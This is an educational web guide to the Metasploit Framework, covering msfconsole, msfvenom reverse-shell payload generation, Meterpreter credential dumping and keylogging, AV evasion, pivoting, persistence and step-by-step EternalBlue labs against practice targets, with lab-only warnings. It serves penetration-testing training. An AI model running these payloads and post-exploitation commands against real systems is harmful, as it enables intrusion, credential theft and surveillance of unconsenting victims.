Cybersecurity Notes intermediate

๐Ÿš€ Metasploit Framework

Complete educational guide to the Metasploit Framework, including msfconsole, modules, payloads, Meterpreter, auxiliary modules, exploitation workflow, post-exploitation, pivoting, resource scripts, plugins, troubleshooting, practical labs, and OSCP-oriented usage.

Updated Aug 7, 2026 15 min read 4 views
#Metasploit#MSF#OSCP#CEH#eJPT#Pentesting
Back to category

What is the Metasploit Framework?

The Metasploit Framework (MSF) is an open-source exploitation and post-exploitation platform maintained by Rapid7. It bundles thousands of exploits, payloads, encoders, scanners and post modules behind one consistent interface, so an operator can move from discovery to shell to post-exploitation without rebuilding tooling for every engagement.

Warning

Lab use only. Run Metasploit exclusively against your own VMs, Hack The Box / TryHackMe / PG targets, or systems for which you hold explicit written authorisation. Everything on this page is educational reference material.

A short history

  • 2003 โ€” HD Moore releases Metasploit v1 in Perl (11 exploits).
  • 2007 โ€” Full rewrite in Ruby as v3.
  • 2009 โ€” Acquired by Rapid7; commercial Pro / Community editions appear.
  • 2011 โ€” msfconsole gains the PostgreSQL-backed database.
  • 2019 โ†’ today โ€” Metasploit v6/v6.4 ships end-to-end SMB3 encryption, native pipes for Meterpreter, HTTP/2 handlers, and hundreds of new modules each year.

Real-world use cases

  • Internal / external penetration testing.
  • Red team foothold, pivoting and post-exploitation.
  • Purple team detection engineering (payload sample generation, C2 traffic).
  • Vulnerability validation (turning a Nessus/OpenVAS finding into proof).
  • Security training labs (CEH, eJPT, PNPT, CPTS, OSCP).

Advantages and limitations

StrengthsWeaknesses
Huge exploit + payload libraryHeavily signatured by EDR/AV
Consistent module + option interfaceEncourages muscle memory over understanding
Meterpreter's rich post-exploitationPayloads noisy on the network
Database + workspaces for team reconOSCP restricts it to one target
Free, open source, scriptableSome modules unstable โ€” always read the source

Even in a lab, treat Metasploit like a loaded weapon: know your target scope, avoid destructive modules on shared infrastructure, keep engagement notes, and never leave payloads / listeners exposed to the internet. Unauthorised use is a crime in every jurisdiction that matters for a security career.

Installing Metasploit

Metasploit ships pre-installed on Kali Linux and Parrot OS. On everything else, use the Rapid7 nightly installer or your package manager.

Kali / Parrot

bash
sudo apt update && sudo apt install metasploit-framework -y
sudo msfdb init          # initialise the PostgreSQL database
msfconsole -q            # -q = quiet banner

Ubuntu / Debian

bash
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && sudo ./msfinstall
sudo msfdb init

Windows

Download the signed installer from https://www.metasploit.com/download. Run as Administrator; the installer bundles Ruby, PostgreSQL and Nmap. Add exclusions in Windows Defender for the install folder or it will quarantine payloads on write.

Updating & verifying

bash
sudo apt update && sudo apt upgrade metasploit-framework -y   # Kali
msfupdate                                                     # nightly builds
msfconsole --version

Database sanity checks

Inside msfconsole:

terminal
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

msf6 > workspace -a client01
[*] Added workspace: client01

If you see [-] Database not connected, exit and run sudo msfdb reinit (or msfdb run). No database = no hosts, no services, no loot, no creds, no db_nmap โ€” you lose half the framework.

Framework Architecture

Metasploit is written in Ruby and organised in layers.

LayerPurpose
RexSockets, protocols, encoding, text manipulation primitives
CoreModule API, datastore, session manager, job scheduler
BaseConfig, logging, serialisation, plugin API
ModulesExploits, payloads, auxiliary, post, encoders, nops, evasion
Interfacesmsfconsole, msfvenom, msfdb, RPC (msgrpc)

Key components

  • Framework โ€” the engine loading everything at boot.
  • Modules โ€” self-contained Ruby files under /usr/share/metasploit-framework/modules/.
  • Payloads โ€” code that runs on the target (Meterpreter, shells, execs).
  • Encoders โ€” obfuscate payload bytes to defeat basic signatures.
  • NOPs โ€” CPU no-op sleds for buffer overflows.
  • Auxiliary โ€” scanners, fuzzers, brute-forcers (no shell).
  • Exploit โ€” turns a vulnerability into code execution.
  • Post โ€” runs after you have a session (recon, priv-esc, pivot).
  • Evasion โ€” generates AV-evading executables.
  • Plugins โ€” extend msfconsole at runtime (load nessus, load wmap).
  • Sessions โ€” active shells / Meterpreter channels.
  • Workspaces โ€” logical groupings of hosts / services / loot per client.
  • Loot / Creds / Notes / Vulns โ€” DB tables written to during engagements.

msfconsole โ€” the primary interface

msfconsole is the interactive REPL that most operators live in. Start it with:

bash
msfconsole                     # full banner
msfconsole -q                  # quiet
msfconsole -r script.rc        # run a resource script
msfconsole -x "db_status; use exploit/windows/smb/ms17_010_eternalblue"

Anatomy of the prompt

terminal
msf6 exploit(windows/smb/ms17_010_eternalblue) >
  • msf6 โ€” framework version.
  • exploit(...) โ€” currently selected module.
  • > โ€” waiting for input; a session-interact prompt looks like meterpreter >.

Everyday quality-of-life

  • Autocomplete โ€” press Tab on any command, module path or option name.
  • History โ€” arrow keys walk your last commands; history -c clears them.
  • Help โ€” help on its own, or help <command> for details.
  • Colour โ€” color true|false; useful when logging to a file.
  • Aliases โ€” alias sn "search name:" speeds up common queries.
  • Logging โ€” spool /tmp/engagement.log writes everything to disk (spool off stops it).
  • Global vs local options โ€” setg RHOSTS 10.10.10.5 persists across every module you load; set only applies to the current one.

Essential msfconsole Commands

Each command below follows the same shape: purpose ยท syntax ยท example ยท output ยท pitfalls.

help

  • Purpose: print all commands or details for one command.
  • Syntax: help or help <command>
  • Example: help search
  • Pitfall: help inside a Meterpreter session shows Meterpreter commands, not framework ones.
  • Purpose: find modules by keyword, CVE, author or platform.
  • Syntax: search [filters] term
  • Example:
terminal
msf6 > search cve:2017-0144 type:exploit platform:windows
  • Filters: name:, path:, cve:, type:, platform:, author:, rank:, disclosure_date:.
  • Pitfall: overly generic terms (search smb) return hundreds of modules โ€” always combine with type: or platform:.

use

  • Purpose: load a module into the current context.
  • Syntax: use <module path or search index>
  • Example: use exploit/windows/smb/ms17_010_eternalblue or use 0 after a search.
  • Pitfall: typos silently return No results from search; always tab-complete.

show options / options

  • Purpose: display the current module's datastore.
  • Output columns: Name ยท Current Setting ยท Required ยท Description.
  • Pitfall: RHOSTS (target) and LHOST (your listener) are the two most-forgotten values.

set / setg / unset / unsetg

  • Purpose: modify options. setg persists globally, set only for the current module.
  • Example:
terminal
msf6 exploit(...) > set RHOSTS 10.10.10.40
msf6 exploit(...) > setg LHOST tun0
  • Pitfall: globals leak between modules โ€” use unsetg before switching engagements.

run and exploit

  • Purpose: launch the module. run is preferred for auxiliary/post; exploit is idiomatic for exploits (they are aliases).
  • Flags:
    • -j โ€” background the job.
    • -z โ€” do not interact with the session once opened.
    • run -j -z โ€” the classic listener pattern.

check

  • Purpose: ask the module if the target looks vulnerable, without exploiting.
  • Pitfall: many modules do not implement check; absence of a check is not a green light.

sessions

  • Purpose: manage post-exploitation sessions.
  • Common uses:
    • sessions โ€” list.
    • sessions -i 1 โ€” interact.
    • sessions -u 1 โ€” upgrade a shell to Meterpreter.
    • sessions -K โ€” kill all sessions.
    • sessions -C "sysinfo" -i 1 โ€” run a command without full interaction.

background / back / exit

  • background (or Ctrl-Z) inside Meterpreter โ€” returns to msfconsole, keeps the session alive.
  • back โ€” leave the current module.
  • exit / quit โ€” leave msfconsole (exit -y skips the prompt).

Database commands

hosts, services, vulns, notes, loot, creds โ€” all of these query the workspace DB and take filters like -c address,name or -S 'Windows'.

Utility

  • jobs / jobs -K โ€” background jobs / kill all.
  • route add <net>/<mask> <session> โ€” pivot traffic via a session.
  • workspace [-a name | -d name | name] โ€” manage engagements.
  • version, banner, history, color, save, reload_all.

Module Types

TypePurposeExample
ExploitTrigger a vulnerability to gain executionexploit/windows/smb/ms17_010_eternalblue
AuxiliaryRecon, scanning, brute forcing, fuzzingauxiliary/scanner/smb/smb_version
PostActions after a session existspost/multi/recon/local_exploit_suggester
PayloadCode that runs on the targetwindows/x64/meterpreter/reverse_tcp
EncoderObfuscates payload bytesx86/shikata_ga_nai
NOPCPU no-op sleds for exploitsx86/single_byte
EvasionBuilds AV-evading binariesevasion/windows/windows_defender_exe

Payloads Explained

Payloads are the code the exploit delivers. Choose one based on target OS, network path (bind vs reverse), and staging preference.

Singles vs stagers vs stages

  • Single (stageless) โ€” everything in one blob. Larger, but robust when the exploit only fires once. Example: windows/x64/meterpreter_reverse_tcp (note: no / between meterpreter and reverse_tcp).
  • Stager โ€” tiny piece of code that connects back and pulls a bigger stage over the wire. Example: windows/x64/meterpreter/reverse_tcp (with the /).
  • Stage โ€” the second-stage payload (Meterpreter DLL) sent by the stager.

Bind vs reverse

BindReverse
Who listens?TargetAttacker
Firewall friendly?RarelyUsually
Typical useTarget has public port openTarget sits behind NAT

Common payload names

  • windows/x64/meterpreter/reverse_tcp โ€” reverse Meterpreter over TCP.
  • windows/x64/meterpreter/reverse_https โ€” HTTPS-tunnelled, blends with web traffic.
  • windows/x64/shell_reverse_tcp โ€” plain cmd.exe.
  • linux/x64/meterpreter/reverse_tcp, linux/x86/shell_reverse_tcp.
  • php/meterpreter/reverse_tcp โ€” for LFI/RFI/webshell drops.
  • java/meterpreter/reverse_tcp โ€” cross-platform, needs JRE.
  • python/meterpreter/reverse_tcp โ€” script-only environments.
  • cmd/unix/reverse_bash โ€” one-liner bash reverse shell.

Generating payloads with msfvenom

bash
# Windows reverse Meterpreter EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.2 LPORT=4444 \
  -f exe -o shell.exe

# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f elf -o s.elf

# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f raw -o shell.php

# Encoded, iterated
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 -f exe -o s.exe

Then catch it with the multi/handler:

terminal
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.2
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run -j -z

Meterpreter

Meterpreter is Metasploit's flagship payload: a DLL / SO / script loaded entirely in memory that speaks an encrypted protocol back to the framework. It never touches disk on the target and exposes a rich API for post-exploitation.

Why Meterpreter

  • In-memory, no forensics artefact from the payload itself.
  • Extensible: load kiwi, load powershell, load python, load stdapi.
  • Rich API โ€” file system, processes, registry, sockets, kiwi (Mimikatz).
  • Channelised comms โ€” file transfers, port forwards, sub-shells over one session.

Essential commands

terminal
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
meterpreter > ps
meterpreter > migrate 4242
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users\\alice\\Desktop
meterpreter > download flag.txt
meterpreter > upload beacon.exe C:\\Windows\\Temp\\
meterpreter > cat C:\\inetpub\\wwwroot\\web.config
meterpreter > shell           # drop to cmd.exe / /bin/sh
meterpreter > background      # keep alive, back to msfconsole

Privilege escalation

terminal
meterpreter > getsystem                  # tries 4 token/named-pipe techniques
meterpreter > run post/multi/recon/local_exploit_suggester

Credential harvesting

terminal
meterpreter > hashdump                   # local SAM
meterpreter > load kiwi
meterpreter > creds_all                  # Mimikatz-style dump
meterpreter > lsa_dump_sam

Tokens and impersonation

terminal
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"

Screenshots and keylogging (educational)

terminal
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

Pivoting from Meterpreter

terminal
meterpreter > run autoroute -s 10.0.20.0/24
meterpreter > portfwd add -l 3389 -p 3389 -r 10.0.20.15
meterpreter > background
msf6 > use auxiliary/server/socks_proxy

Persistence concepts

Metasploit ships exploit/windows/local/persistence_service, persistence_exe, registry_persistence. In real engagements these are loud and often flagged; understand them for the exam, but favour manual, minimal persistence for red-team ops.

Cleanup

  • Remove uploaded files (rm, del).
  • Kill scheduled tasks / services you created.
  • Close sessions (sessions -K) and shut down handlers (jobs -K).
  • Purge Meterpreter with exit (leaves no on-disk artefact when it was in-memory only).

The Metasploit Database

The DB glues recon and exploitation together. Nmap results, credentials, loot and notes are all queryable across the team.

terminal
msf6 > db_status
msf6 > workspace -a acme_internal
msf6 > db_nmap -sS -sV -O 10.10.10.0/24
msf6 > hosts
msf6 > services -p 445 -R                # -R sets RHOSTS from the query
msf6 > vulns
msf6 > creds
msf6 > loot
msf6 > notes -t smb.fingerprint

Useful filters: hosts -c address,os_name,purpose, services -s open -p 80,443, creds -t password.

Auxiliary Modules

Auxiliaries are the framework's Swiss army knife. No shell, but perfect for scanning, enumeration, brute forcing and protocol abuse.

ProtocolModulePurpose
SMBauxiliary/scanner/smb/smb_versionOS + SMB dialect fingerprint
SMBauxiliary/scanner/smb/smb_loginCredential spray
SMBauxiliary/admin/smb/psexec_commandCommand exec with creds
FTPauxiliary/scanner/ftp/ftp_login, ftp_version, anonymousAuth + banner
HTTPauxiliary/scanner/http/dir_scanner, http_version, titleWeb recon
SNMPauxiliary/scanner/snmp/snmp_login, snmp_enumCommunity strings + info
SSHauxiliary/scanner/ssh/ssh_login, ssh_versionAuth + banner
DNSauxiliary/gather/enum_dnsZone transfer + brute
RDPauxiliary/scanner/rdp/rdp_scanner, cve_2019_0708_bluekeepVersion + BlueKeep probe
SMTPauxiliary/scanner/smtp/smtp_enum, smtp_versionVRFY / EXPN user enum
terminal
msf6 > use auxiliary/scanner/smb/smb_login
msf6 > set RHOSTS 10.10.10.0/24
msf6 > set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
msf6 > set PASS_FILE /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
msf6 > set THREADS 20
msf6 > run

Post-Exploitation Workflow

Once you have a session, the first five minutes decide the engagement.

  1. Stabilise โ€” migrate off the exploited process; consider a second, redundant callback.
  2. Enumerate โ€” sysinfo, getuid, whoami /priv, ipconfig /all, route print, net user /domain.
  3. Suggest privesc โ€” run post/multi/recon/local_exploit_suggester.
  4. Loot credentials โ€” SAM, LSASS (via kiwi), browser stores, config files, sticky notes.
  5. Discover the network โ€” ARP, netstat -ano, arp -a, run auxiliary/scanner/portscan/tcp through the pivot.
  6. Pivot โ€” autoroute + SOCKS proxy for external tools.
  7. Persist (only if scoped) โ€” services, scheduled tasks, WMI subscriptions.
  8. Document + cleanup โ€” screenshots, log paths, kill sessions and handlers you created.

Pivoting

Pivoting is how you use one compromised host as a router into networks you cannot reach directly.

text
  [attacker] ---(tun0/HTB)--- [compromised jump host] ---(internal 10.0.20.0/24)--- [target DB]
                                        |
                                        +-- autoroute + socks_proxy

Autoroute (Metasploit-only traffic)

terminal
meterpreter > run autoroute -s 10.0.20.0/24
meterpreter > run autoroute -p            # print current routes

Now every module that speaks to 10.0.20.0/24 is tunnelled through this Meterpreter session.

SOCKS proxy (for every other tool)

terminal
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > run -j

# /etc/proxychains4.conf โ†’ socks5 127.0.0.1 1080
$ proxychains nmap -sT -Pn -p 3389 10.0.20.15
$ proxychains xfreerdp /v:10.0.20.15 /u:alice

Port forwarding

terminal
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.20.15   # local:8080 -> remote:80
meterpreter > portfwd list
meterpreter > portfwd flush

Multi-hop

Layer autoroute + SOCKS across two sessions: session 1 gives you 10.0.20.0/24, session 2 (on a host inside that subnet) gives you 172.16.0.0/16. Metasploit routes packets through the shortest matching route.

Resource Scripts

Resource (.rc) scripts are plain files of msfconsole commands, batch-executed with -r or from inside the console via resource file.rc.

bash
# handler.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST tun0
set LPORT 443
set ExitOnSession false
run -j -z
bash
msfconsole -q -r handler.rc

Best practices:

  • Keep listeners in ~/rc/ per engagement.
  • Prefix filenames with the engagement code (acme_handler.rc).
  • Avoid destructive commands (sessions -K) in shared scripts.
  • Combine with ERB (<%= ENV['LHOST'] %>) for parameterised playbooks.

Plugins

Plugins extend msfconsole at runtime. Load them with load <name>, list active ones with plugins, unload with unload.

  • load nessus โ€” drive Nessus scans and import findings.
  • load openvas โ€” same idea for OpenVAS/GVM.
  • load wmap โ€” very light web scanner built on aux modules.
  • load sounds โ€” audio feedback when sessions open (labs / demos).
  • load auto_add_route โ€” automatically adds a route when a session opens through a private network.
  • load lab โ€” manage VirtualBox/VMware lab targets.

Practical Labs

Do these against Metasploitable 2/3, TryHackMe Blue, or HTB Legacy/Blue. Never against production.

Lab 1 โ€” Scan the target

terminal
msf6 > workspace -a lab
msf6 > db_nmap -sS -sV -p- 10.10.10.40
msf6 > services -p 445

Lab 2 โ€” Search for a module

terminal
msf6 > search cve:2017-0144

Lab 3 โ€” Configure the exploit

terminal
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > show options
msf6 > set RHOSTS 10.10.10.40

Lab 4 โ€” Set a payload

terminal
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST tun0
msf6 > set LPORT 4444

Lab 5 โ€” Run the exploit

terminal
msf6 > check
msf6 > exploit

Lab 6 โ€” Land the session

terminal
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.40:49312)
meterpreter > sysinfo
meterpreter > getuid

Lab 7 โ€” Background the session

terminal
meterpreter > background
msf6 > sessions

Lab 8 โ€” Post-exploitation

terminal
msf6 > sessions -i 1
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > hashdump
meterpreter > load kiwi
meterpreter > creds_all

Lab 9 โ€” Cleanup

terminal
meterpreter > rm C:\\Windows\\Temp\\beacon.exe
meterpreter > exit
msf6 > sessions -K
msf6 > jobs -K
msf6 > spool off

Repeat with exploit/unix/ftp/vsftpd_234_backdoor against Metasploitable 2 for a UNIX shell workflow.

OSCP / CPTS / PNPT Notes

CertMetasploit policyWhat to practise
CEHUnlimited (exam is theory-heavy)Module taxonomy, payload types, Meterpreter
eJPTUnlimited, heavily usedmsfconsole, msfvenom, Meterpreter, pivoting
PNPTEncouraged for ADChaining recon โ†’ foothold โ†’ AD abuse
CPTSAllowedFull framework fluency including handlers
OSCPOne target only + unlimited msfvenom + multi/handlerManual equivalents of every action

Rule of thumb: if you cannot repeat a Metasploit workflow by hand โ€” searchsploit, custom shellcode, nc listener, whoami /priv, reg query โ€” you do not really understand it yet.

Troubleshooting

SymptomLikely causeFix
Database not connectedmsfdb never initialisedsudo msfdb reinit
Exploit completed, but no session was createdWrong LHOST, firewalled LPORT, AV kill, wrong archVerify LHOST = interface reachable from target; try LPORT 80/443; switch to stageless payload
No session created after Nmap says port openPayload arch mismatch (x86 vs x64) or wrong target IDshow targets; use set TARGET N
Payload never firesAV on targetUse evasion/ modules or generate encoded / templated payload with msfvenom
LHOST unreachableYou set an internal IP behind NATUse tun0 / VPN address, or use reverse_https on 443
Bind payload times outEgress firewall or target didn't open the portSwitch to reverse_*
Meterpreter dies on migrateTarget process crashed / privileges lostMigrate to a stable, long-running process (svchost.exe, explorer.exe)
Module failed to loadBroken updatereload_all, then msfupdate

Cheat Sheet

TaskCommand
Start consolemsfconsole -q
DB statusdb_status
New workspaceworkspace -a client
Nmap into DBdb_nmap -sS -sV -O <cidr>
Find modulesearch cve:2020-0796 type:exploit
Load moduleuse <path> or use <n>
Show optionsoptions
Set targetset RHOSTS 10.10.10.5
Set listenerset LHOST tun0; set LPORT 443
Check targetcheck
Run listenerrun -j -z
List sessionssessions
Interactsessions -i 1
Upgrade shellsessions -u 1
Kill all sessionssessions -K
Route via sessionrun autoroute -s 10.0.20.0/24
SOCKS proxyuse auxiliary/server/socks_proxy; run -j
Payload generatormsfvenom -p ... LHOST= LPORT= -f exe -o s.exe
Handleruse exploit/multi/handler; set PAYLOAD ...; run -j -z
Save datastoresave
Reload modulesreload_all
Exitexit -y

Interactive msfconsole Simulator

Practise the syntax without touching a real target. Everything below runs entirely in your browser โ€” no network, no exploitation, no modules are loaded. It's a teaching aid for the workflow: search โ†’ use โ†’ set โ†’ run โ†’ sessions -i.

  • Try help, banner, search eternalblue, use 0, show options, set RHOSTS 10.10.10.40, set LHOST 10.10.14.2, run, sessions -i 1, then sysinfo inside Meterpreter.
  • Use Tab for autocomplete, โ†‘ / โ†“ for history, Ctrl-L (or Reset) to clear.
msfconsole simulator
=[ metasploit v6.4.0-simulator ] + -- --=[ 2400+ exploits - 1300+ auxiliary - 400+ post ] + -- --=[ 950+ payloads - 45 encoders - 11 nops ] + -- --=[ ~~ OFFLINE EDUCATIONAL SIMULATOR - VIPERSEC ~~ ]
[*] Educational browser-only simulator. Type 'help' to begin.
msf6 >
Try:

Note

This simulator is educational only. Nothing you type sends packets, loads Ruby modules, or interacts with a filesystem. Use the real msfconsole on your own lab VMs when you're ready.

Key Takeaways

  • Metasploit is exploits + payloads + post modules + a database, wired together by msfconsole.
  • Use workspaces and db_nmap from day one โ€” every module benefits from the shared context.
  • Know the difference between staged and stageless, bind and reverse payloads.
  • Meterpreter is the default post-exploitation payload โ€” master migrate, getsystem, hashdump, load kiwi, portfwd, autoroute.
  • Pivoting via autoroute + socks_proxy unlocks internal networks for both Metasploit and external tools.
  • Automate with resource scripts; extend with plugins; verify with check before firing.
  • For OSCP, learn the manual equivalent of every Metasploit action you rely on.